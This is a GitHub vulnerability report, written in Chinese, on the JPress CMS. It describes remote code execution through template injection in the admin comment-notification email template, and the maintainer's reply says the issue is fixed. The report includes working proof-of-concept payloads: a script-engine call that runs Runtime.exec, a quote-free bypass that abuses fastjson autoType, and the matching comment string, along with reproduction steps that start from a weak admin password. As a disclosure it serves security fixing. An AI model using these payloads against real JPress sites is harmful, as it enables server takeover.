JPressProjects / jpress

JPress,一个使用 Java 开发的建站神器,目前已经有 10w+ 网站使用 JPress 进行驱动,其中包括多个政府机构,200+上市公司,中科院、红+字会等。
http://www.jpress.cn
GNU Lesser General Public License v3.0
2.66k stars 1.18k forks source link

jpress后台存在命令执行漏洞-邮件模板article #170

Closed Er1cccc closed 2 years ago

Er1cccc commented 2 years ago

审计过程

jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题

image-20211222172115997

接着,尝试发一条评论看看后端代码的执行流程

image-20211222172326880

后端对应的代码是io.jpress.module.article.controller.front.ArticleController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员

image-20211222172503414

跟进io.jpress.module.article.kit.ArticleNotifyKit#notify,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的image-20211222172527736

发现byEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的

image-20211222185153191

分析到这里应该可以直接打模板注入了,构造如下payload

#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

image-20211222185609715

然后随便发一条评论,这时会触发邮件发送,就会触发ssti。但是很遗憾,评论之后发现触发失败了,后端出现了报错

image-20211222185750683

排查问题后发现,我们的payload被后端处理过,payload中的引号被html编码了,那么在模板解析的时候自然就报错了。

因此尝试不使用引号构造payload,构造出了如下payload,我们将字符串内容通过评论内容进行传入

#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

因为后端在渲染模板时将comment对象传入了,所以我们可以获取comment.content,而这个值又是在评论时我们可以控制的,最终就造成了rce

image-20211222185958926

效果演示

首先通过弱密码进入后台

image-20220116142712503

然后开启这两项

image-20211222190624365

然后配置管理员邮箱,随便配一个,这个是收件者

image-20220116142558660

还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交

image-20220116142604988

然后设置恶意邮件模板,同样记得要提交

#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

image-20211222191226630

接下来,随便找一篇博客在下面评论这个payload

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc") 

发现计算器成功弹出,漏洞验证成功

image-20211222191723752

JPressProjects commented 2 years ago

在 jpress 最新版本中已解决。